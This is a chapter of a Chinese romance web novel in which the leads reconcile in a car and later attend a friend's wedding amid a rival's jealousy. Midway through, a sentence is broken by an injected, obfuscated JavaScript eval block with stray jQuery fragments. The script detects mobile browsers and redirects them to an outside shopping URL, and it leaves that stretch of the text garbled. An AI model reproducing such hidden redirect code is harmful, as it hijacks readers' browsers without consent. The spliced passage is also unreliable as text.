55. 27

作品:《和死对头同时失忆后

    这句话像是跟圆钝的刺,慢慢穿进她心口。


    那种痛来得迟钝又绵长,傅珺瑶靠在他肩头,一动不动。


    空气里残留的暧昧和火星子几乎瞬间消散,傅珺瑶下意识回想起那天。


    “你知道你这样多恶心么?”


    “你是非不分,就是恶心!”


    “跟你在一起的这段荒唐日子,更让我感觉恶心至极!”


    她的眼珠微微转动,落在他平静起伏的胸廓。蓦地,她伸手,手掌按在他的左胸口。


    一下一下,他的心脏隔着胸壁撞在她的掌心。


    那个时候对她来说,是幻梦破碎的临界点,是他隐瞒之下的慌乱和不安,是傅淮湛和爷爷的精神压迫。


    她当时没能冷静,没能把问题更好地解决。


    傅珺瑶的双神暗了暗,只一瞬,又重新恢复原状。


    没关系,那都是已经发生的事了,她没必要再纠结,只要现在,她能解决好眼前的事,她就还是她,他们就还是他们。


    “沈述白,你信我吗?”傅珺瑶的手掌在他心口慢慢摩挲,只问了这么一句。


    他低头,目光沉沉,毫不犹豫:“我信。”


    傅珺瑶稍微仰头,两颗漆黑的眼珠被轻轻灼了一下,眸光闪烁。


    她停顿片刻,身体贴紧他,目光直勾勾地将他的视线侵占,主动开口:“沈述白,我答应你,不管怎样,我都不会再不顾一切地抛下你,江云没能做到的,傅珺瑶一定会做到。”


    他的气息瞬间灼热,双臂收紧,把她按进怀中。多余的话,已经不用再说。


    身体纠缠,气息混杂,两人抱了好一会儿,沈述白才不舍地松开她。


    “你不要叫我的全名,太生疏了。”沈述白突然说。


    傅珺瑶耸耸肩,不以为然:“哪里生疏了?不是挺好的吗?”


    “不好,就是很生疏,一般关系亲密的人都会叫得亲昵些。”他强烈反驳。


    “……你以为谁都跟你一样自来熟?”傅珺瑶稍稍无语,她是觉得昵称这种东西得慢慢适应,况且一个名号而已,重要的不是怎么叫,而是从什么人嘴里叫出来。


    闷骚怪又开始耍赖:“我哪里自来熟了?我只跟你熟,你的心,你的思想,还有…你的身体。”


    他的声音越来越低,越来越暧昧。


    傅珺瑶耳根一热。


    身体里的那股劲已经过了,她用力甩去脑子里那些乱七八糟的画面。


    闷骚怪却持续发力,抬起手,手指在她面前晃了晃,嘴边漫出声:“嗯?”


    “……”


    傅珺瑶脸上火辣辣的烫,迅速按下他的手:“述述?白白?述白?你想听哪个?”


    男人笑了声,反问:“你喜欢哪个?”


    “述述?”傅珺瑶侧头,说完自己又觉得肉麻不得劲,猛地摇头:“听着好奇怪。”


    “……”


    “白白?那不就是那条狗……对了!”傅珺瑶突然坐直身子:“我们没把白白带回来!”


    “我带回来了,它在我家,有机会带你去见它。”沈述白解释。


    傅珺瑶眸中闪过一丝惊喜,兴奋地挪近:“真的?你带回来了?!”


    沈述白点头,伸手拨弄她的发丝,手掌顺势后延,托着她的颊侧,慢慢开口,温柔的嗓音里夹杂着一丝涩味:“除了白白,还有尤克里里,还有我们的西装、那两套礼服、装海水的定情信物,还有当时拍的那些照片,我都带回来了。”


    傅珺瑶上扬的嘴唇慢慢平了下来。


    他声音里的涩味透过空气涌入她的鼻腔,再次爬进心脏。


    “你都带回来,不怕触景生情?”傅珺瑶咽了咽喉,往下压着心口的涩。


    黑暗中,男人的轮廓越来越清晰。


    他垂眸,捏着她的手,五指主动嵌入她的指缝,微微凸出的喉结滚了滚,回答:“我不想让那段时光,什么都没有剩下,那对我来说,是我真心付出感情的、无可替代的、一点都不荒唐的时光。”


    傅珺瑶的眉心蹙起,心脏上盘绕的神经像是在互相牵扯,泛着一抽一抽的疼。


    真心付出感情的。


    无可替代的。


    一点都不荒唐的。


    她当初说的那些话,他很在意。


    她深深地望着他,意识和理智交织缠乱,理智不再是抵达失控的状态,反而主动融进意识,随之而来的,攀升的情愫也不再是虚无缥缈的,越来越清晰。


    “我明白了。”傅珺瑶用这四个字回应。


    然后轻唤:“述述。”


    捏着她手的力度瞬间收紧。


    四目相对,缱绻的丝线还没来得及伸延出来,一通电话不合时宜地凑了进来。


    傅珺瑶去包里掏了手机,却在看到备注之后,脸色微沉。


    她让身边的男人别说话,才不紧不慢地接起来:“哥。”


    傅淮湛的声音虽然不算大,但在封闭的车厢内,还是清晰可闻。


    “珺珺,你现在是在清漪那儿?”


    “是。”傅珺瑶面不改色,瞬间明白他这通电话的目的。


    而傅淮湛也丝毫没让她‘失望’:“你当伴娘的事我知道,我听说沈述白也去当伴郎了?”


    傅珺瑶声音平淡:“你放心,我心里有数,这事也提前跟爷爷说过,况且你应该知道,林逸深也在。”


    那头像是松了口气,声音没那么冷肃:“那就好,珺珺,你可得多想想爷爷,千万不要再任性了。”


    傅珺瑶眉头紧了紧,随口附和两句,匆匆结束。


    车厢内有短暂的静默。


    沈述白主动问:“有用得到我的地方吗?”


    傅珺瑶收了手机,摇头,语气沉敛:“暂时没有,时间不早了,送我回去?”


    沈述白不再多说,嗯了声。


    两人从后座回到前面,傅珺瑶理好身上的西装,两颗扣子一丝不苟地扣好。


    车重新汇入主路,眼前亮起暖黄的灯光,侧方一轮弦月静谧悬挂,安分地俯视着来往的车辆和行人。


    傅珺瑶想起什么,双神略微认真,语气里融进几分严肃道:“明天的婚礼,清漪请了几家风评还不错的媒体,你家人那边,没什么问题吧?”


    沈述白低低嗯了声:“提前说过,没问题。”


    傅珺瑶松了口气,点头:“不过暂时在其他人面前还是得保持原状,一切谨慎为先。”


    “明白。”


    ……


    沈述白送完傅珺瑶回来,车停在别墅门口,没急着进去。


    车厢内,发动机早已熄火,他就那么静静靠在座椅上,双眸轻垂,手里还拿着属于他的玻璃瓶。


    海水和沙砾在那一小块空间里相互纠缠,你中有我,我中有你,怎么都无法分开。


    他把玻璃瓶捏紧,头稍稍后仰,闭上眼,喉间挤出声轻哼。


    良久,他的指腹摁在唇中,左右摩挲,大脑主动回想她吻过来的感觉。


    唇边的弧度慢慢加深。


    他深吸了口气,气管微微发颤,融进了车厢内有些潮湿的凉意,他想起江渔村的那个夜晚,她昏迷不醒时,从窗口飘进来的带着海咸味的潮湿卷进心底的感觉。


    眼眶轻轻发热,他的气息有短暂的停滞,又慢慢把那团气吐了出来。


    “沈述白,我答应你,不管怎样,我都不会再不顾一切地抛下你。”


    真好。


    沈述白在车里坐了好一会儿,正准备下车进别墅,手机突然震了两下。


    他点进去,看到傅珺瑶给他发的那条消息,双瞳一缩,眉头瞬间紧锁。


    ……


    沈述白刚进别墅,阿姨帮他拿了新的拖鞋,说许远舟他们都在二楼准备红包。


    他点了点头,直奔楼梯口,却在走到一半,脚步顿停。


    他转头,林逸深正在餐厅倒水。


    两道视线不偏不倚撞上。


    沈述白很快收回目光,没打算说话。


    两条腿刚准备往前迈,林逸深蓦然开口:“沈总回来得这么晚?”


    沈述白再次停下。


    他面不改色,温和的语气里带着若有似无的疏离感:“有点要紧的事,林总有事找我?”


    林逸深放下手中的玻璃杯,沉默两秒,眉眼弯起笑笑,摇头:“没事,只是以为沈总是身体不舒服,毕竟晚餐那会沈总出去了好久。”


    沈述白眼皮往上抬了抬,语气不改:“是有点不舒服,不过没什么大碍。”


    林逸深嘴边的笑意更深,意味深长地说了句:“没事就好。”


    沈述白淡淡嗯了声,道:“多谢关心,我先上去了。”


    说完,不紧不慢侧身,匀速往楼梯口走,眼珠轻轻往后转,却始终没回头。


    ……


    傅珺瑶是凌晨五点被顾清漪拉起来的。


    “珺珺,起来先吃早餐,吃完化妆。”


    傅珺瑶双眼迷蒙,大脑还有些混沌,强撑着站在洗漱台前,手掌把头发往后一拨,脸颊微微发红。


    她轻轻拍了拍脸,迅速拿了牙刷送进嘴,低下头,避开镜中自己的视线。


    她梦到昨晚在车上的画面了。


    车后座,他半跪在她跟前……


    傅珺瑶差点被嘴里的泡沫呛到。


    强力晃了晃脑,把那些画面甩出去,她今天还有正事。


    天光渐亮,太阳从稀疏的云层后探头,似乎感受到了别墅里渐起的热闹,金色的光线愈发耀眼。


    顾清漪已经换好秀禾服,简单的丸子头上戴着专门打造的黄金发髻,几朵红玫瑰在旁侧做陪衬。


    傅珺瑶和其他伴娘开始帮她挂金镯。


    “好重啊。”顾清漪说这话时,脖颈上被挂了两串长长的金镯,从胸口到下腹,正胸前还有一串金猪,秀禾服被耀眼的黄金挡住大半。


    傅珺瑶继续帮她戴手腕上的金镯,说:“这都是门面来的,而且这亮澄澄的黄金,多悦目,嗯?”


    “是啊清漪,这都是阿姨和叔叔给你撑的场子,多好看?”路婧把金戒指拿过来,给她戴上。


    左手等着戴婚戒,金戒指全在右手,拇指没戴,其他的手指各戴两枚。


    顾清漪呼了口气,抬手看了眼,笑道:“结婚也就这点好,超过五斤的五金,还有数不清的不动产红本本,都是我的了,想想就美妙!”


    另一个伴娘把金扇子递给她,打趣道:“你这么说咱们许医生可要伤心了。”


    顾清漪不以为意:“没事,他也是我的,他这人没什么优点,就是好哄。”


    房间里一阵哄笑。


    别墅外礼炮齐鸣,许远舟他们到了。


    路婧她们赶快锁好房门,傅珺瑶站在顾清漪身边,帮她藏好婚鞋。


    摄影师也在一边摆好机位,镜头对准顾清漪。


    房间门在一串哄闹声中被敲响。


    路婧顶在门口,朝着顾清漪一笑,又对门外喊:“许医生,想要见新娘,得先拿出足够的诚意哦!”


    门外的声音很快传进来,许远舟听上去完全是有备而来:“你把门开条缝,绝对管够!”


    路婧再次看过顾清漪,把门开了一点,紧随而至的,是数十封红包。


    很薄,但路婧摸出来,里面全都是放的卡。


    “每张卡最低额数十万,怎样,这个诚意够了吗?”许远舟手握捧花,迫不及待的要见心爱的女人。


    路婧和伴娘团后退,把路让出来,仔细捯饬过的许远舟和伴郎团同时进门。


    傅珺瑶盯着门口,很快看到惦记的人。


    他的头发又梳上去了,一双温和的眉眼低调地融在人群中,只有黑色耳钉稍稍抢眼。


    她和那人的目光短暂交汇,又不动声色移开。


    她守在顾清漪身边,看着路婧拿出准备好的一些小‘坎坷’,让许远舟一一完成。


    几十平的大房间里又闹又笑。


    许远舟站在趾压板上大叫着跳完23下跳绳,2月3号,是他和顾清漪确定关系的日子。


    然后是伴娘团准备的几个快问快答。


    “你们第一次的约会地点是在哪里?”


    “澍水湾!”


    “你们第一次牵手和接吻的时间?”


    “2017年1月7号和2017年3月4号!”


    “清漪最大的愿望是?”


    “在35岁之前奋力工作然后去环游世界!”


    ……


    ……


    诸如此类。


    许远舟几乎不用思考,脱口而出。


    傅珺瑶在一旁听得稍微出神。


    蓦然想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215032|193223||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起在江渔村的时候,沈述白跟她说,不记得过去,那就过别的纪念日,比如他们第一次牵手的日子、他第一次给她做饭的日子、他们第一次拥抱的日子……


    “我们就在这里办一场有特色的婚礼,哪怕只有我们两个人。”


    傅珺瑶无声抿了抿唇。


    果然,触景…就容易生情。


    婚礼。


    以后或许也会有一场婚礼,是属于傅珺瑶和沈述白的。


    也许那个时候,他们之间的阻碍全部消失,恒璟和启行回到二十多年前的交好盛况?


    而他们,能够光明正大地并肩。


    傅珺瑶的视线再次往面前的人群中偏移。


    他就站在许远舟身后。


    眸光不偏不倚交接,他的唇角上扬,弧度又迅速平下去。


    心口一软。


    她垂眸看向满面容光的顾清漪。


    他们一定会有那么一天的。


    许远舟总算突破重重险阻,抱着捧花,单膝跪地:“老婆,我爱你!嫁给我吧!”


    ……


    从接亲到给两家父母敬酒,到最后合完照,傅珺瑶才发觉结婚是个体力活。


    一行人终于从别墅转战,去了酒店。


    顾清漪在休息室里换下秀禾服,穿上那套主纱,等着仪式开始。


    傅珺瑶也得了点休息时间,在换衣服前,去了趟洗手间。


    刚到走廊,林逸深迎面走来。


    他弯眉,双神被头顶暖黄的灯光浸透,温润亲和:“珺珺,累不累?”


    傅珺瑶的声音不咸不淡,摇头道:“还好。”


    林逸深抬手,把握在掌心的电解质水递给她:“今天应该没什么时间吃东西,先补补液,省得难受。”


    傅珺瑶垂眸看了眼,略微迟疑,可林逸深的手又往前送了送。


    傅珺瑶抿唇,还是收下,客气道了声:“谢谢。”


    话音刚落,林逸深陡然扬起下巴,看向傅珺瑶身后。


    “沈总。”


    傅珺瑶微愣。


    捏紧手里的水。


    沈述白的声音跟着那股她再熟悉不过的清冽的味道一齐往前钻:“林总很贴心啊。”


    语气倒是没什么起伏,不过稍稍有些冷。


    傅珺瑶暂时没动。


    只听到林逸深轻轻哼笑,应声道:“哪有?我和珺珺都是这么多年的朋友,正常的关心而已。”


    身侧的温度突然一沉。


    傅珺瑶也没看他,直接侧身:“多谢你的水,我先走了。”


    林逸深柔和笑笑,点头。


    傅珺瑶继续往前走,身后的声音和脚步都愈渐远去。


    她暂时松了口气。


    等她往回走,直奔顾清漪的休息室时,走到一半,手腕突然被人拉住。


    傅珺瑶猛然一惊。


    眼前骤然恍惚,等回神,她人已经被沈述白拉进一间小休息室。


    室内光线昏暗,什么都看不太清。


    她不安的心跳被他融进鼻腔的气息抚平,傅珺瑶轻啧了声:“能不能安分点儿?别被人发现。”


    沈述白两只胳膊牢牢扣紧她的腰,没有给她留一点脱身的余地,先解释:“我看过了,没人。”


    “那也得安分点儿,还没到时候呢。”傅珺瑶语气虽然稍稍不满,但到底没推开他。


    沈述白忽然俯身,嘴唇轻轻啄了一下她的唇。


    把刚才在走廊没放出来的酸味尽数发泄:“林逸深给的水就那么好?”


    “……”


    傅珺瑶瘪了瘪唇,就猜到他是为这事来的。


    她抬手,指腹亲昵地落在他的耳垂,揉捏他的耳钉:“你怎么连这醋都吃?一瓶水而已。”


    他不回答,只从她手里抽出那瓶水,又不知道从哪摸出来一个保温杯,让她牢牢抓稳。


    “少喝冷的,这是热的蜂蜜水,比较容易有饱腹感,也能让你昨晚喝的酒赶快代谢完。”


    傅珺瑶心口一暖,保温杯的铝合外壳在手里温度疾速攀升。


    “我身体挺好的,不用这么养生。”


    她的本意是让他不用担心,但扫向她的眸光在昏暗中迅速凛起。


    他的声音稍稍严肃:“才停药,距离重伤醒过来还没有很久,就得这么养生,不要再喝酒了,一滴都不行!”


    傅珺瑶头一回听到他这种语气,严肃得像是快生气般。


    她盯着那双眸子,有片刻的怔忪,心口的暖意更甚。


    空出来的手去环住他的腰,语气跟着柔和几分:“好了好了,我不喝。”


    似是觉得不够,她又主动往前,去亲了一下他的唇。


    褐眸重新软下来。


    “别吃醋了,等婚礼结束……我想很多事情就能迎刃而解了。”


    傅珺瑶沉吟片刻,意味深长地说了这么一句。


    沈述白没反驳,嗯了声。


    两人没打算久留,准备离开,傅珺瑶先出去,沈述白在里头等了五分钟,才跟着出去。


    ……


    一行人在休息室门口会面。


    林逸深主动过来找了傅珺瑶。


    “珺珺。”


    傅珺瑶轻轻点头,算是回应。


    眸光在他微沉的脸色上多停了几秒,又收了回去。


    仪式开始。


    庄严紧合的大门一松,亮白的灯光奔涌泄出,明晃晃地照过来。


    傅珺瑶他们跟在顾清漪和许远舟身后,越过一尘不染的地毯,走到宴会厅的目光焦点位。


    她听着他们互诉誓言,亲手为他们送上戒指,又看着双方父母上台致词。


    台下的所有人,都在为他们欢呼、祝福。


    傅珺瑶双手交叠置于前腹,唇角弯起很浅的弧度,双目不经意瞥向另一侧,瞬时的交汇之后,她挪回目光,唇角的弧度加深了些。


    ……


    几乎累了一天,从晚宴到闹洞房,傅珺瑶最后都快累趴了。


    顾清漪安排人送她回了公寓,她也没跟沈述白见面,只简单发了消息过后,便再没说什么。


    傅珺瑶快速卸妆、洗漱,几乎沾床就睡。


    隔天一早,她看到推送到手机上的新闻。


    #傅珺瑶和沈述白同时出席婚礼


    #傅沈两家关系疑似和缓